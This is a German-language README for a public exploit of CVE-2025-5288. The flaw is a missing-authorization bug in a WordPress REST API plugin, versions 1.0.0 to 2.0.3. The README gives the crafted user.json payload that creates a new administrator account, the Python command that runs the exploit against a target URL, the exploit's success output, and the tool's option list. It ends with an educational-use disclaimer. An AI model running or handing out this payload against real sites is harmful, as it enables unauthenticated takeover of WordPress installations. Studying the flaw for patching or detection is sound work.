
WordPress REST-API | Benutzerdefinierter API-Generator für plattformübergreifende und Import/Export in WP 1.0.0 - 2.0.3 – Fehlende Autorisierung führt zu nicht authentifizierter Privilegieneskalation
Das REST API | Custom API Generator For Cross Platform And Import Export In WP-Plugin für WordPress ist anfällig für Privilegieneskalation aufgrund einer fehlenden Berechtigungsprüfung in der Funktion process_handler() in den Versionen 1.0.0 bis 2.0.3.
Dies ermöglicht nicht authentifizierten Angreifern, eine speziell gestaltete user.json-Datei an einen offengelegten Endpunkt zu senden und ein neues Administrator-Konto zu erstellen.
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
python3 CVE-2025-5288.py -u http://192.168.100.74:888/wordpress/ -json http://192.168.100.74:888/user.json
[+] Ziel scheint verwundbar (Version: 2.0.3) – führe Exploit aus...
[*] Lade JSON-Payload von: http://192.168.100.74:888/user.json
[+] JSON-Inhalt erfolgreich geladen:
[1] {
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
[*] Starte Exploit...
[+] Exploit erfolgreich ausgeführt.
[+] Payload gesendet:
[
{
"author_data": {
"post_author": "Nxploited",
"post_author_email": "[email protected]",
"post_author_role": "administrator"
},
"title": "Nxploited (Khaled_alenazi)",
"content": "Nxploited (Khaled_alenazi)"
}
]
usage: CVE-2025-5288.py [-h] -u URL -json URL_JSON [--proxy PROXY] [--timeout TIMEOUT] [--no-verify] [--no-sleep] [--debug]
Nicht authentifizierte Privilegieneskalation – von Khaled Alenazi (Nxploited)
options:
-h, --help show this help message and exit
-u, --url URL Base URL of WordPress site (e.g., http://target/wp/)
-json, --url_json URL_JSON
URL to hosted R.json payload
--proxy PROXY Proxy URL (e.g., http://127.0.0.1:8080)
--timeout TIMEOUT HTTP timeout in seconds (default: 10)
--no-verify Disable SSL certificate verification (NOT recommended!)
--no-sleep Disable sleep delays for faster execution
--debug Enable debug output
Dieses Tool dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitsforschung. Unbefugter Zugriff auf Systeme ohne Erlaubnis ist illegal.
Von: Nxploited (Khaled_alenazi)